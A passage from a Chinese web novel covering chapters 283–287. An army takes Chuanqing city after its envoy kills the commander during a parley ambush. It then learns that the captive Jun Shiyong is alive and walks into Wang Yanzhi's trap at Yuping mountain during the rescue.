曹殇的嘴角勾起一抹淡淡的笑容,谁说一定要休整数月才出兵的?早在定襄城收复的当天,曳落军就已经全军开拔,从山路中穿行,直插并州境内,横扫两城!
守军隐隐开始骚乱,不少人都有些怕了,曾康见状不妙,赶忙喝道:
“何人敢出战,灭一灭敌军的风头!”
“末将愿往!”
偏将李六蛋迈步而出,杀气腾腾:“正好让我领教一下曹殇有何了不得之处!”
“好气魄,不愧是本将麾下。”
曾康大手一挥:
“击鼓,为李将军助威!”
“咚咚!”
“咚咚咚!”
战鼓如雷,城门洞开。
李六蛋骑着一匹黄骠马嘶鸣着冲出,他手中长矛在晨光中划出一道银弧,直指曹殇咽喉:
“曹贼受死!”
“呦呵,竟然还敢出战。”
曹殇讥讽一笑,不避不闪,黑色铁枪横架胸前,枪矛相击迸出火星。李六蛋只觉虎口发麻,面色凝重了许多,心中诧异,曹殇的臂力竟如此惊人。
“你啊,功夫不太行。”
曹殇嘴角噙着冷笑,突然催动战马加速,长矛化作数道残影,快如迅雷地刺向对面。李六蛋慌忙格挡,枪杆相撞的闷响接连不断,手臂越发麻木。当第三记长矛当头劈落时,李六蛋手中的长枪竟被震得脱手飞出,在黄土中激起一蓬烟尘。
“坏了!”
曾康面色抖变,扶着墙垛的手掌布满青筋,眼睁睁看着曹殇枪势突变,自下而上斜挑,李六蛋的皮甲在枪尖前如同薄纸,矛尖穿透肋骨的闷响过后,黄骠马上只剩个摇摇欲坠的血人。
“扑通!”
死尸倒地,满城皆惊。
“身手也太差了。”
曹殇很是无趣地撇撇嘴,冷喝一声:
“还有谁敢与本将军对阵!”
两三枪便斩杀了一员大将,这场仗还怎么打?尤其是曾康,面色阴沉到了极点,恨不得现在就带兵出城与曹殇大战一场:
“嚣张,此人嚣张至极,妈的!”
“将军,不能出击啊!”
彭安一把按住要拔剑的曾康:“敌军巴不得我们出城!”
曾康终于止步了内心的躁动,面色铁青地喝道:
“曹将军果然名不虚传啊,可我川庆城也不是泥捏的,你阙州军若是有本事,放手来攻,本将奉陪到底!”
“驾!”
“我有一言,请满城将士倾听!”
曹殇单枪匹马,策马前行,朗声怒喝:
“陇西三州本为一体,不该自相残杀。三州之乱,罪魁祸首乃是王家,是王彦之刺杀巡阅使上官熙,栽赃陷害,趁机屠灭君家,罪大恶极!
我阙州兵锋已至,桐乡河乡失守,川庆城已经成了一座孤城,困守何用?
奉劝诸位一句!
趁早开城献降,洛将军必优待诸位,若是冥顽不灵、助纣为虐,城破之日必玉石俱焚!”
……
两天,短短两天时间川庆城就被围住了,东面是曹殇的曳落军、西面是阙州军数万主力,彻底切断了城内军卒与并州城的联系。
天色渐黑,星罗棋布的军帐中亮起了团团火光,宛如巨龙盘旋在川庆城外,令守军心惊胆战。
洛羽负手而立,站在地图前:
“川庆城内的守军有什么动作吗?”
“还是老样子,在抓紧时间修缮城防,看似是想顽抗到底,但实则军心骚乱,这两天已经有不少守卒悄悄溜出城投降。”
“将军,打吧!”
徐松面色坚毅,迈前一步:
“先登营全军备战,随时可以猛攻城头,区区一座川庆城末将可没放在眼里。”
“我知道先登营出手一定能攻克川庆城,但城内好歹有七八千守军,强攻的话多少会有伤亡。”
洛羽抱着膀子喃喃道:
“曾康、彭安二人皆是外姓武将,没必要替王家卖命,如今川庆城已经是绝境,若是能劝他们归降,咱们也省事了。”
“将军是想派人劝降?”
君墨竹微皱眉头:
“怕是有些难啊,能被王彦之放在川庆城,那定然是心腹武将,城中粮草足备,想要轻易劝其投降只怕不容易。”
“不试试怎么知道?”
洛羽嘴角微挑:“派人去劝降!”
“将军,末将愿往!”
人群中的凌桐突然站了起来:“曾康与我乃是军中同袍,平日里有些私交,我可以去试一试。”
“你?不妥吧。”
萧少游有些不同意,摇了摇头:
“你背叛了王家,王彦之对你恨之入骨,万一曾康把你扣住了怎么办?”
“将军放心,末将自有分寸!”
凌桐有些急了:
“就让我去吧,城内不少军卒都是我的老部下,我可不想看着他们和阙州军自相残杀。”
“行,那就让你去试试!”
洛羽大手一挥:
“许韦会带两百精锐护送你入城,记住,万事小心!”
“诺!”
第283章天大的秘密
川庆城将军府
凌桐和许韦带着十名精锐甲士缓步走入府中,其余两百卫兵皆被留在将军府之外。府中正厅坐着两排将校,目光纷纷射来,每个人的眼神都格外复杂。
曾康面色平静:“凌兄,别来无恙啊。”
“曾兄,好久不见。”
凌桐客气地一抱拳:
“一别数月,没想到你我兄弟会走到兵戎相见这一步。”
并州这么多武将,大部分都是王家人,还有一部分是外姓,在外姓武将之中,凌桐与曾康算是官阶最高的一批人了。
“呵呵,不是凌兄自己选的路吗?”
曾康嘴角微翘,大手一挥:
“就不用绕弯子了,今日凌兄此来何意,不妨明言!”
“好,那我就直说了。”
凌桐环视全场:
“诸位兄弟、诸位昔日同袍,川庆城东有五千曳落军、西有五万阙州主力,这里已经是孤城,是绝地!负隅顽抗没有意义,只会白白送命。
今日我此行是劝你们投降,莫要做无谓的牺牲!”
“凌桐!”
曾康冷声喝道:
“自己当了叛徒,不要牵连我们!今日能见你一面已经是念在往日旧情,休得胡言乱语!”
“曾康,你身为主将,可得替兄弟们的性命考虑!”
凌桐怒目圆睁:“先登营就在城外,一声令下即将攻城,你守得住吗!”
“守不守得住不用你管!”
曾康的表情突然狰狞起来:
“我早就知道你是来劝降的,没想到吧,我是故意让你入城的。王大人点名要你的人头,今日我就杀了你,回并州城请赏!”
“咣当!”
只见曾康将手中茶碗狠狠一砸,茶碗破碎,茶水四溅,府中两侧厢房陡然涌出数不清的刀斧手,将凌桐等人团团围住。
异变骤起!
“蹭蹭蹭!”
“保护将军!”
许韦悍然拔刀,牢牢护在凌桐身侧,凌桐怒喝出声:
“还请赏,睁眼看看川庆城四周,你还出得去吗!休要冥顽不灵!”
“这你就管不着了。”
记住本站: 曾康大手一挥:“给我杀!”
“杀啊!”
数百刀斧手怒吼着扑了过来,层层刀枪林立,将十几人团团包围,同时府外也传来了喊杀声,显然曾康是蓄谋已久要取凌桐的性命。
“宵小之徒,想杀我们还嫩了点!”
许韦怒骂一声,腰间苍刀已然出鞘,刀锋横扫,最先扑来的三名刀斧手同时胸口一闷,血箭飚射而出,踉跄倒地。
“曾康,你这是自寻死路!”
凌桐眼中寒光一闪,右手拔刀而出,身形未动已有三名敌军挡在他身前,长矛交错,笔直刺向他的胸口。凌桐反应极快,贴着地面一个翻滚,刀锋直接砍向了三人的下三路,将三人脚腕齐齐割裂。
“先想想你自己吧。”
曾康站在厅堂高阶之上,狞笑着挥手:“杀了他,赏金百两!”
重赏之下,刀斧手们更加疯狂地扑来。许韦领着十余名亲兵左冲右杀,牢牢护在凌桐四周,好在大厅内空间狭窄,看似敌方有人数优势,实则根本容不得铺开阵型。府门之外的两百军卒凶悍异常,很快就撞破大门冲进来营救,场面越发混乱。
但这里毕竟是川庆城内,敌军越聚越多,层层叠叠,两百人就算是插翅也难逃。
形势危急,凌桐的眼中却闪过一抹疯狂,脚掌一蹬直扑曾康。
擒贼先擒王!
“拦住他,保护将军!”
“滚开!”
四周卫兵目光一变,转瞬间便有四人从两侧扑来,凌桐浑身杀意暴涨,苍刀横挥,接连斩杀四人,身形如虎,一步跃上高阶,直取曾康咽喉!
“好胆魄,竟然想杀我?”
曾康狞笑一声,顺势拔出长剑,正面迎战:
“正好,早就想与你过招了!”
“铛!”的一声,刀剑相撞,火星迸溅。两人同时被震退半步,但凌桐反应,刀锋一转,斜劈曾康左肩!
曾康侧身格挡,剑刃贴着刀锋滑下,顺势刺向凌桐心口!凌桐不退反进,左手猛地抓住曾康持剑的手腕,右手苍刀狠狠一压,刀锋几乎贴着曾康的脖颈划过,逼得他不得不后仰闪避。
就趁着曾康后退的间隙,凌桐抬脚一踹,狠狠踢在了他的腹部,曾康猛地喷出一口鲜血,往后栽飞出老远,几张桌椅被撞得木屑飞溅。
“将军,保护将军!”
四周军卒目光抖变,想要来救,可许韦却如虎入羊群,一人横刀在前,将援兵尽数挡下:
“想去救人,先过我这关!”
许韦何等凶悍,短短几息之间便杀得浑身鲜血,往这里一站颇有万夫莫开的架势。
凌桐没给他任何喘息之机,再度挥刀下劈,曾康仓促举剑格挡,但这一刀势大力沉,竟压得他单膝跪地,剑刃被震得嗡嗡作响,此刻曾康的眼眸中终于闪过几抹惧意:
“凌兄,有话我们好好商量!”
“晚了,我给过你机会!”
凌桐怒喝,刀锋再起,如狂风骤雨般连劈三刀!
记住本站: 曾康咬牙硬接,虎口震裂,鲜血顺着剑柄滴落。他眼中闪过一丝狠色,突然左手从靴筒抽出一把短匕,猛地刺向凌桐腰腹!
凌桐眼角余光扫到寒芒,千钧一发之际侧身避让,匕首擦着他的甲胄划过,带起一串火星,他怒极反笑:
“好一个阴险的小人!”
话音未落,他猛然欺身而进,左手成爪,狠狠扣住曾康持匕的手腕,猛地一拧!
“咔擦!”
“啊!”
骨裂声清晰可闻,曾康尖叫出声,匕首脱手,剧痛令他的面部表情变得极为狰狞。凌桐毫不留情,苍刀顺势一记横斩:
“死吧!”
“噗嗤!”
刀锋入肉,鲜血喷溅!
曾康踉跄后退,低头看向自己的胸口,一道狰狞刀痕从左肩斜贯至右腹,甲胄破碎,血肉翻卷。他张了张嘴,似乎想说什么,但喉咙里只涌出大股鲜血:
“你,你……”
凌桐眼神冰冷,一步踏前,苍刀顺势割下了曾康的人头。
全场瞬间死寂,正在打斗中的双方军卒全都停了下来,厮杀声骤然一滞,只看见凌桐高高举起血淋淋的人头,怒喝出声:
“贼首已死,降者不杀!”
声如雷霆,震彻府邸!
一众军卒面面相觑,其中有不少人本就是凌桐的手下,如今更是不敢有丝毫异动。别看凌桐只有孤身两百人,可城外有数以万计的阙州精锐啊。
“愣着干什么,杀,杀了他们!”
副将彭安尖叫出声,嗓音中带着深深的恐慌。
“都是同胞兄弟,我不想看你们白白送死!”
凌桐将硕大的人头往地上一扔,面色冰寒:
“放下武器,本将绝不杀一人!”
“降者不杀!”
两百亲兵同时怒吼,人人杀气缭绕,身处敌军从中他们竟然丝毫不惧。
“咣当!”
一名校尉率先丢掉了手中兵器,跪地乞降。有了第一个就是第二个、第三个,眨眼间所有人都丢掉了手中兵器,匍匐在地。
凌桐眼眸微转,最后落在了彭安身上:
“你呢。”
彭安面色惨白,扑通往地上一跪:
“别,别杀我,我有天大的秘密要说!”
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凌桐目光微挑,刀锋往彭安的脖子上一架,耳朵贴了过去:
“说来听听,是何秘密?”
“君,君大人没死!”
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第284章君大人没死!
夜色昏昏,营地中火光缭绕,照亮了半边天。
帅帐中洛羽斜靠在椅背上,萧少游和凌桐端坐两侧,中间跪着刚刚抓获的降将彭安,身体在微微发抖。
靠着凌桐一手擒贼先勤王,阙州军几乎兵不血刃地拿下了川庆城,如今并州边防已经门户洞开。
片刻之后营门外传来了脚步声,君墨竹和君沉二人疾步匆匆的冲了进来,一向沉稳的君墨竹第一眼就盯上了彭安:
“就是你?”
“是,是我。”彭安瑟瑟发抖地回道:“小人是川庆城副将,王家的家臣。”
洛羽冷声道:
“把你刚才说的话再说一遍。”
彭安咽了口唾沫,磕磕巴巴地说道:
“原定州持节令,君世雍君大人没死,而是被关起来了。”
“全并州都知道君大人在婚礼当夜被杀,怎么可能还活着!小子,你可不要为了活命就胡言乱语。”
君老将军直接揪住了他的衣领,拔刀出鞘抵在他的咽喉处:
“若是敢有半字虚言,老夫定让你求生不得求死不能!”
君墨竹的表情极为复杂,一是不信,二是想信!逃回阙州之后他打听过,传言君世雍已经死了,有人亲眼见到他身中两刀,倒在了血泊中。
“真的,真的没死。”
感受到脖颈处传来的冰凉,彭安哭丧着脸道:
“君大人确实挨了两刀,但并不致命,只是重伤晕厥,被王家的医师给救活了,而后就被转移关押到玉屏山,被一起关着的还有几名定州并州的城主,此事在王家内部乃是绝密,知情者甚少。”
君沉怒目圆睁:“既然是绝密,那你又是如何得知?”
“主要是凑巧了。”
彭安忙不迭地解释道:
“当时负责押送君大人的武将与小人有些旧交,一天喝多了酒他说漏嘴了,此事小人一直藏在心里,未对旁人讲过。”
“当真?”
“千真万确,我绝不敢有半句虚言。”
彭安连连磕头:
“君公子,洛将军,求你们饶我一命,末将以后再也不给王家效命了。”
“押下去。”
洛羽挥了挥手,两名凶神恶煞的军卒立马将彭安给拖了出去。
帐中重回宁静,洛羽看向君墨竹:“你怎么想?”
君墨竹皱眉沉思:
“玉屏山我知道,地势颇为险要,王家在那儿有一处牢房,专门用来关押死刑犯。并州城人多眼杂,如果我父亲真的活着,确实有可能会被转移到玉屏山,他的样子看起来不像是在说谎。但说到底他并没有亲眼见到我父亲,只是道听途说。
记住本站: 消息不确定的情况下,我不建议出兵救人,王彦之诡计多端,万一这是一个圈套呢?”
“那就派人去核实消息,如果君大人还活着,一定要救出来!”
洛羽的语气极为坚定,不仅仅因为君世雍是君墨竹的父亲,更是因为他舍命断后才换回洛羽一条活路,说有救命之恩都不为过。
君墨竹心头一暖,也不犹豫:
“我手下有暗探去过玉屏山,事不宜迟,我让人立刻出发!”
……
玉屏山
并州境内有名的一处山脉,绿树成荫、风景宜人,但好山好水却被王家给圈了起来,在此地建起了一座监牢,从此禁止猎户、农户进山。
当然了,王家可不止是把这里作为监牢,每到盛秋时节王家子弟还会来此狩猎,甚至将监牢里的死刑犯放出来作为诱饵,帮他们去吸引老虎狮子等猎物,等猎物出来吃人时再将其射杀,手段异常残忍。
郁郁葱葱的草地突然传出一阵窸窣的声响,几张冰冷的面庞悄无声息地探出头来,其中就有阙州游弩手都尉沐峰,探营摸哨对游弩手来说是家常便饭,洛羽自然要把他派出来。
他身旁趴着的就是君墨竹的心腹手下、墨冰台的头号暗探:
荆无命。
别看他年纪轻轻,眉清目秀的,据君墨竹介绍此人不仅是刺探情报的好手,同时精通刺杀,一身武艺极为高强,专门擅使短匕。
两人的眼珠提溜直转,就在山坡远处有一座牢房,木制的营墙拦住了山口,还有一面面“王”字军旗在风中飘扬,营墙背后就是所谓的玉屏山囚牢了。
他们身上披着用树叶缝制的绿色披风,这是改良版的绿色吉利服,披着它往地上一趴仿佛与草丛融为一体,不走到近前压根看不出这里藏着人。
“驾!”
“哒哒哒!”
突然有一阵急促的马蹄声传来,沐峰与荆无命心头一紧,当即就将脑袋埋入草丛,一动不动。
“吁吁!”
十几名斥候策马停在了七八步之外,目光四顾,好像在找什么东西。
“哎,我说你是不是看花眼了,这儿哪有人。”
“不应该啊,我刚刚真看到这一片有人影晃动。”
一名胡渣脸大汉策马向前几步,环视四周,手中弯刀都拔了出来,冷喝一声:
“出来,我看见你了!”
寂静,死一般的寂静,除了微风吹得树叶飘动,再无其他动静。
“妈的,真没人,难不成真是我看走眼了?”
胡渣脸大汉骂骂咧咧,感情他刚才在耍诈。
“走吧,这里没什么好搜的。”
看似领头模样的人喝道:
“都给我把眼睛瞪大点,监牢中关着重要人犯,上峰说了,出了纰漏咱们都得掉脑袋!”
记住本站: “这么唬人?头,一个多月前拉来了一批犯人,还是精锐骑兵送过来的,到底是什么人啊?”
“闭嘴,不该问的不要问!脑袋不想要了!”
“我们走!”
斥候来也匆匆去也匆匆,过了很久沐峰与荆无命才抬起头来,长出一口气,刚才斥候离他们就三五步的距离,得亏是吉利服啊,不然肯定被发现了。
“沐兄,你怎么看?”
“从他们刚才的对话可以听出,确实有重要人犯被关了进来。”
沐峰眉头紧皱:“但不确定是不是有君大人啊,而且洛将军交代了,最好摸清这里有多少守军,别落入王家的圈套。
咱们还是眼见为实。”
“有理。”
荆无命微微点头:“君公子也说了,务必亲眼见到君大人!”
“所以得想个法子混进去啊。”
沐峰眉头紧皱:
“可他们把整座山口都拦起来了,不好进去,光凭咱们这些人总不能杀进去吧。”
“呵呵,想混进去自然有办法。”
荆无命突然冷笑起来,嘴唇朝山坡另一侧轻轻努动:“你看。”
沐峰循声望去,刚好看见有一支运粮队正咿咿呀呀地往这里赶,队伍中有好几十号衣衫褴褛的民夫。
“好机会。”
沐峰嘴角一翘:
“走吧,你去找君大人,我去探探守军的虚实!”
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第285章一箭双雕
玉屏山的牢房很大,依山而建,用青石黄土夯筑而成,建得像一座堡垒,牢房门口站着一排披甲士卒,持枪佩刀,守卫森严。
四五名伙夫挑着扁担走了过来,里面放着发黄干裂的馒头,还有两大桶看不到半点菜花的汤汁,这就是死刑犯们一天的伙食。
人群中竟然混着荆无命,领头的老伙夫小声道:
“你待会儿可得老老实实的,老头子我见你聪明伶俐才带你来的,可别给我惹出祸事来。差事办好了待会儿给你两个窝头吃。”
“一定一定。”
荆无命小鸡啄米似的点头,眼珠子则四处打量,袖口中还藏着一柄短小的匕首以防不测。
“站住,我要检查!”
负责值守的百户冷着脸拦住了送饭的伙夫,按照惯例将每一个木桶打开,检查里面有无私藏利器或者什么纸条之类的东西。
带头送饭的老伙夫满脸赔笑道:
“军爷,今日饭食与往常一样,绝无问题。”
“嗯,那就好。”
“牢里的犯人也是贱啊,这些东西狗都不吃,他们却吃的津津有味。”
百夫长嘲笑了两句,目光突然落在了荆无命的身上,皱眉道:
“小子,你有些面生啊,以前没见过你。”
荆无命战战兢兢地答道:
“军爷,我是今日送粮的民夫,临时被拉过来送饭了。”
“临时送粮的民夫?我看未必吧。”
百夫长冷笑一声,轻喝道:
“我看你是混进牢房的奸贼,意图不轨!”
“军爷,军爷您莫要吓唬小人。”
荆无命一哆嗦,扭头往地上一跪,砰砰磕头:
“小人真的只是个送粮的,军爷若是不信可以去查,求您饶小人一命。”
百夫长目光微凝,荆无命的表现令他十分满意,他哪儿知道荆无命是什么人,随口吓唬一声罢了,就这胆小如鼠的模样,能闹事就怪了。
边上的老伙夫也求起情来:
“军爷,牢房的犯人多,分发粮食的伙夫不够用了,小人见他聪明伶俐才他把带在身边,绝无问题。”
“谅你们也没胆子闹事。”
百夫长心满意足地挥挥手:“行了,进去吧,别把犯人给饿死了,老子还得跟着倒霉。”
“得嘞!”
当荆无命跟随伙夫们深入牢房甬道时,潮湿的霉味混着排泄物的恶臭扑面而来,光线十分昏暗,火把在石壁上投下摇曳的鬼影。里面是一个个小隔间,光线十分昏暗,关着的人犯全都面如死灰,但凡进到这里的犯人就别想再活着出去了。
每隔十几步就有一名持矛卫兵,冷着眼瞪了瞪伙夫,像是在警告他们别乱来。
记住本站: 荆无命就跟着人群往里走,将馒头与菜汤放在木栅栏边上,他隐晦的眼神一直在仔细观察犯人的面庞,没有一个是君世雍。
直到他走到牢房最深处,发现里面有一个犯人背对着房门,两鬓的白发能看出这是一个老人。
荆无命假模假样地拿起破碗敲了敲木门:
“哎,吃饭了!”
“知道了,放下吧。”
牢房内传出一道苍老的声音,犯人扭过了半边头,露出满是皱纹的脸颊。
荆无命在一瞬间就确定了此人是君世雍!他跟在君墨竹身边这么久,见过君世雍无数次,绝对错不了。
荆无命用细若游丝的声音说了一句:
“公子说,莫怕。”
老人的背影一僵,下意识的回过头来,可惜荆无命已经走远了。
真的是他!定州持节令,君世雍君大人!
老人用干枯的手掌抓起馒头,艰难的咬了一口,浑浊的老眼中依然闪烁着些许泪花。
……
大军帅帐
洛羽几人干坐在屋中,一言不发,帐中的气氛有些沉寂,看得出君墨竹的眉宇间带着丝丝焦虑。
“将军,人回来了!”
帐外传来岳伍的惊呼声,沐峰与荆无命两人大步走入帐中,躬身抱拳:
“参见将军!”
“怎么样!确定吗?”
君墨竹蹭的一下就站了起来,眼神中满是希冀。
“活着,家主还活着!”
荆无命兴奋的说道:“我亲眼所见,千真万确!”
“太好了,太好了!”
君沉激动的老泪纵横:“家主还活着,老天有眼,老天有眼啊!”
君墨竹也长出了一口气,只感觉浑身气势一松,爹还活着!
洛羽看向沐峰:“守军情况如何?”
“防卫森严。”
沐峰沉声道:“卑职在牢房中转悠了一圈,发现此地起码驻守了三千军卒,山前山后皆立起了营墙,架设强弓硬弩,易守难攻。”
“看来王彦之也担心玉屏山被袭击啊。”
萧少游目光微凝:
记住本站: “周围有无异常,会不会藏着伏兵?”
“没有。”
沐峰接着说道:“卑职出了监牢后在山中兜了两圈,并未发现有伏兵的迹象。”
“很好。”
洛羽缓缓起身:
“既然如此,那就没什么好说的了,出兵救人吧!君大人在三州威望深重,救出他也能一举戳穿王家虚伪的面庞!”
洛羽转身看向地图:
“不过咱们不能直愣愣地去救人,王家一定会紧盯着玉屏山,所以还得来一手声东击西,吸引他们的注意力。”
“声东击西?”
君沉老将军好奇道:“将军还打算进攻何处?”
“这里!观南城!”
洛羽往地图上一指:
“此地乃并州屯粮重地,数万石军粮囤积于此,从定襄城逃走的王星驻守在这。拿下观南城不仅可以策应玉屏山战事,还可以为我军提供大批军粮,一箭双雕!
让血归军和先登营出动,直奔观南城,至于玉屏山嘛,就……”
“我去!”
不等洛羽开口,君墨竹就站了出来:
“我亲自去!”
君沉随即附和道:
“我随公子一同前去!”
两人的目光那叫一个殷切啊,洛羽苦笑一声:
“行,那就你们二人同去,从定州编练的八千军卒你们全都带走,一定要救出君大人!”
“诺!”
望着君墨竹与君沉兴奋地走出军帐,萧少游苦笑一声:
“你不是打算让曹殇去的吗,怎么临时改变主意了?”
“唉,没办法啊,毕竟是亲儿子。”
洛羽摇了摇头:
“家族遭逢大难,如今君世雍已经是他唯一的寄托了,就让他去吧。”
萧少游翘起了二郎腿,轻笑一声:
“拿下玉屏山和观南城,并州境内再无险地,咱们就可以会师并州城外,与王家决战了。”
“哼,王彦之。”
记住本站: 洛羽的拳头微微攥紧:
“血债,得让你血偿!”
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第286章原来是你!
夜幕缓缓降临,绿树成荫的玉屏山在晚风的吹拂下分外诡异。树影晃动、枝丫颤颤,宛如有鬼魅穿行。
一队十余人的军卒举着火把,照例在林间巡逻,一道道目光来回扫视,林间稍有异动便会引来他们注目。
“娘的,怎么感觉今晚瘆得慌。”
胡渣脸大汉嘟囔着:“后背直发凉啊。”
“哎,我也有这种感觉。”
领头的标长挠了挠头:“一晚上眼皮都在跳,不对劲。”
“头,我胆子小,你们别吓我啊。”
一名年轻军卒嘴角抽抽:“玉屏山该不会闹鬼吧?实在不行咱们就回去吧。”
“瞅瞅你这没出息的样子。”
标长瞪了他一眼:“听说你上次去青楼,人家花娘要扯你裤子,你当场就吓跑了,就这么点胆子?”
“哈哈哈!”
众人哄笑一片,紧张的气氛顿时缓和了不少。
“窸窸窣窣。”
可侧面的丛林陡然传出一阵异响,本就紧张的军卒们吓了一跳,纷纷抽刀:
“谁!出来!”
林间毫无动静,粗壮的树干背后是幽深的黑,黑得让人发慌。
标长咽了口唾沫:“去看看!”
胆子最大的胡渣脸一手握刀,一手举火把,小心翼翼地往前挪动,然后猛地看向树干背后,什么也没有。
“呼。”
他长出了一口气,转头看向同袍咧嘴一笑:
“啥都没有,别自己吓自己了。”
可同袍们的眼神却变得惊惧起来,一个个像是见了鬼,标长哆哆嗦嗦地伸出手:
“后,后,后面。”
胡渣脸愣住了,紧跟着就感受到一股冰凉抵在了自己的咽喉处。
荆无命略显白皙的面庞蓦然从夜色中浮现,手握短匕,轻笑一声:
“你是在找我吗?”
胡渣脸吓得魂不附体,裤裆瞬间就湿了,浑身发抖:
“饶……”
“嗤!”
求饶的话还没说完,匕首就狠狠割开了他的脖颈,鲜血染红了晃动的树叶。
记住本站: “杀,杀了他!”
标长尖叫一声,可荆无命身形一闪,眨眼就冲到其面前,匕首狠狠扎进他的心窝,同时还朝着其他军卒一笑:
“再见。”
“嗖嗖嗖!”
不等众人有所反应,四周夜幕中陡然射出一波密集的箭矢,将十几名军卒全都射成了马蜂窝,连一声惨叫都没发出。
林戈的身影从密林中走出,面带冷笑:
“该死的王家,我们来了!”
晚风拂过,无数黑影在林间穿行,一股杀意笼罩玉屏山!
……
“敌袭,敌袭!”
“全军戒备!”
安静无比的山脉陡然被一阵喧嚣打破,凄厉的号角声回荡在夜空中。
据沐峰之前踩点探查到的情况,玉屏山的营墙总计有两道,前后呼应,要想入寨救人就必须接连攻破两道营墙。
营墙前空空荡荡,还架着数十座火盆,根本没有隐藏身形的可能,所以林戈率兵直接发起了强攻,随军携带的数十架竹梯搭上营墙,身披黑甲的步卒开始健步登墙!
“全军登墙,给我杀!”
林戈的吼声撕裂夜空,他第一个跃上竹梯,苍刀在夜色中泛着冷光,数以百计的黑甲步卒如潮水般涌向营墙,竹梯在重压下发出不堪重负的吱呀声。
墙头上箭如雨下,不断有步卒中箭,坠落墙头。
靠后指挥的君沉老将军也没闲着,迅速指挥弓弩手摆开阵型,策应林戈的进攻。君墨竹微微握紧拳头,目光满是焦急,拿下玉屏山就能救出父亲!
此次他们率军八千而来,全都是收复定州后整编的军卒,玉屏山守军三千,君墨竹志在必得!
“放箭放箭!”
营墙上的守军校尉声如洪钟,黑炭般的脸颊就差与夜色融为一体了。
刹那间,箭雨倾泻而下。林戈侧身避过一支直奔面门的箭矢,箭头擦着脸颊划过,带出一道血痕。
林戈骂咧了一声,握住盾牌,稳住身形,接着往上冲,不过两三丈的距离罢了,眨眼间就靠近了墙头,一名守卒忙不迭地刺出长枪,直指他的面庞。
林戈顺势横挥盾牌,一下子砸飞枪尖,只见他单手抓住墙垛边缘,肌肉绷紧,一个翻身跃上营墙。苍刀横扫,两名持弓的守军咽喉喷血,踉跄后退。
“拦住他,妈的!竟然偷袭玉屏山!”
黑脸校尉抽出腰间厚背砍刀,大步冲来。
林戈冷笑一声,不退反进。两人刀锋相撞,火花四溅。此人力大无穷,每次劈砍都震得林戈手臂发麻。但林戈身形灵活,刀法刁钻,专攻校尉防守空档。
墙头上已陷入混战。越来越多的黑甲士卒突破箭雨封锁登上营墙,与守军短兵相接。刀光剑影中,不断有人惨叫着跌落墙下。
激战骤起!
“洛家军的杂碎,受死吧!”
记住本站: 校尉怒吼,一刀劈向林戈肩膀。
林戈侧身闪避,刀锋擦着铠甲划过,留下一道深痕。紧跟着反手一刀,直取校尉咽喉。
校尉仓促后仰,刀尖在他下巴划开一道口子,鲜血直流。他暴怒地一脚踹向林戈腹部,将林戈逼退数步。
林戈见其凶悍,苍刀不再与校尉硬碰硬,而是向下斜挑,专攻下三路。这家伙块头太大了,行动不便,几次险些被砍中膝盖。
“尼玛的卑鄙!”
“战场上只分生死,没有卑鄙可言!”
林戈冷笑,突然一个滑步贴近校尉身侧,刀锋上挑,直刺腋下甲胄连接处的缝隙。
校尉大惊,急忙回刀格挡。林戈却虚晃一招,刀锋陡然转向,自下而上划过校尉持刀的手腕。
“嗤!”
校尉惨叫一声,砍刀当啷落地。在他惊恐又绝望的眼神中,一柄苍刀已经狠狠挥了过来:
“死吧!”
“嗤!”
一道血箭顺着咽喉喷出,黑脸校尉软软地栽倒在血泊中。
“校尉死了,死了!快跑啊!”
这一喊如同瘟疫般蔓延,守军士气瞬间崩溃,纷纷向第二道营墙撤去,防线顿时一松。
君沉怒声喝道:
“全军进攻,速战速决!”
密密麻麻的黑甲军卒涌入营寨,直逼第二道营墙,林戈冲得最快,苍刀在手连着砍翻了好几名敌军。
“架梯,登墙!”
就在一众军卒将竹梯搭上墙头的时候,陡然有一阵弓弦拉动的声音传入了他的耳中,低沉无比。
林戈心头一颤,怒吼一声:
“小心!都趴下!”
“嗖嗖嗖!”
“嗤嗤嗤!”
“啊啊~”
密集的箭雨当空砸落,前排步卒顿时倒下一大片,哀嚎声此起彼伏。
“妈的,竟然有埋伏!”
“盾牌手,稳住阵型!”
“快!”
墙头上亮起了无数火光,攻势瞬间被迟滞,一排排巨盾立在军前,两军隔着寨墙遥遥对峙,战场为之一静。
记住本站: 君墨竹和君沉的眼中生出一抹凝重,怎么回事?守军怎么会有所准备!
难道中计了?
火光照亮了半边天,一张极为熟悉、令人恨之入骨的面庞竟然出现在了墙头:
“君兄,我等你多时了。”
“王彦之!”
君墨竹心头一沉,咬牙切齿:
“原来是你!”
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第287章让你父子死在一起!
玉屏山中火光缭绕,照亮了半边天。
墙头上弓弩密布、旌旗摇曳,军卒何止数千?两侧山峰中更有冲天吼声撕裂虚空,让安静许久的深山老林充斥着一股杀意。
前后左右皆有火光涌现,很明显,大军被包围了。
君墨竹与王彦之隔空对望,曾经称兄道弟的陇西四公子此刻却是生死血仇、恨不得食其肉、饮其血!
王彦之面带微笑,轻轻一招手,两名军卒便押着一名老人走上墙头:
“你想救他?”
“爹!爹!”
再见父亲,君墨竹牙呲欲裂:
“王彦之,我与你不共戴天!”
老人形容枯槁、脸上毫无血色,显然遭受了不少折磨。
“呵呵,你看看自己今天还能活着出去吗?”
王彦之轻笑一声:
“我承认,洛家军很能打,我不是对手,可你同样是腹心之患!所以我特地在这等你,先杀你,再杀洛羽!”
“这一切都是圈套?”
君墨竹咬牙切齿:
“彭安是你提前设下的钉子,故意引我上钩?”
“也不算吧,我只是让人故意泄露了消息给他。”
王彦之平静地说道:“我知道川庆城守不住,所以从未想过将你们拦在并州之外。彭安是贪生怕死之徒,我赌他会将消息泄露给你们。
而你君墨竹是出了名的大孝子,定会来救你爹。
呵呵,果然被我猜中。”
火光映衬着王彦之的脸颊,透露着些许阴谋的味道。
“好一番谋划啊。”
君墨竹死死攥紧拳头,这就是一场阳谋,有谁会不救自己的亲爹?
“所以,今日就是你的死期!”
王彦之面带讥讽:
“就让你和你爹埋在一起吧,玉屏山风景不错,死在这挺好的。”
“墨竹,走!”
君世雍眼眶血红,满头白发纷飞:
“不要管我!你活着,君家就没亡!”
“走!”
老人的嘶吼声在夜色中回荡着,深深刺痛了君墨竹的心,泪眼昏花。
“想走可没那么容易。”
王彦之面无表情地一挥手:
“取君墨竹首级者,赏千金!”
“撤兵!”
君墨竹攥紧拳头:“杀出去!”
君沉目光一颤:“不救君大人了吗?”
“救什么!白白搭上八千条命,值吗!”
君墨竹的目光在这一刻无比冷酷:“如果用我的命能换回爹一条命,我可以死,但定州八千健儿不该死!
传兵,撤军!”
君沉一咬牙,不再犹豫:
“全军突围!”
临走之前君墨竹朝着墙头怒吼:
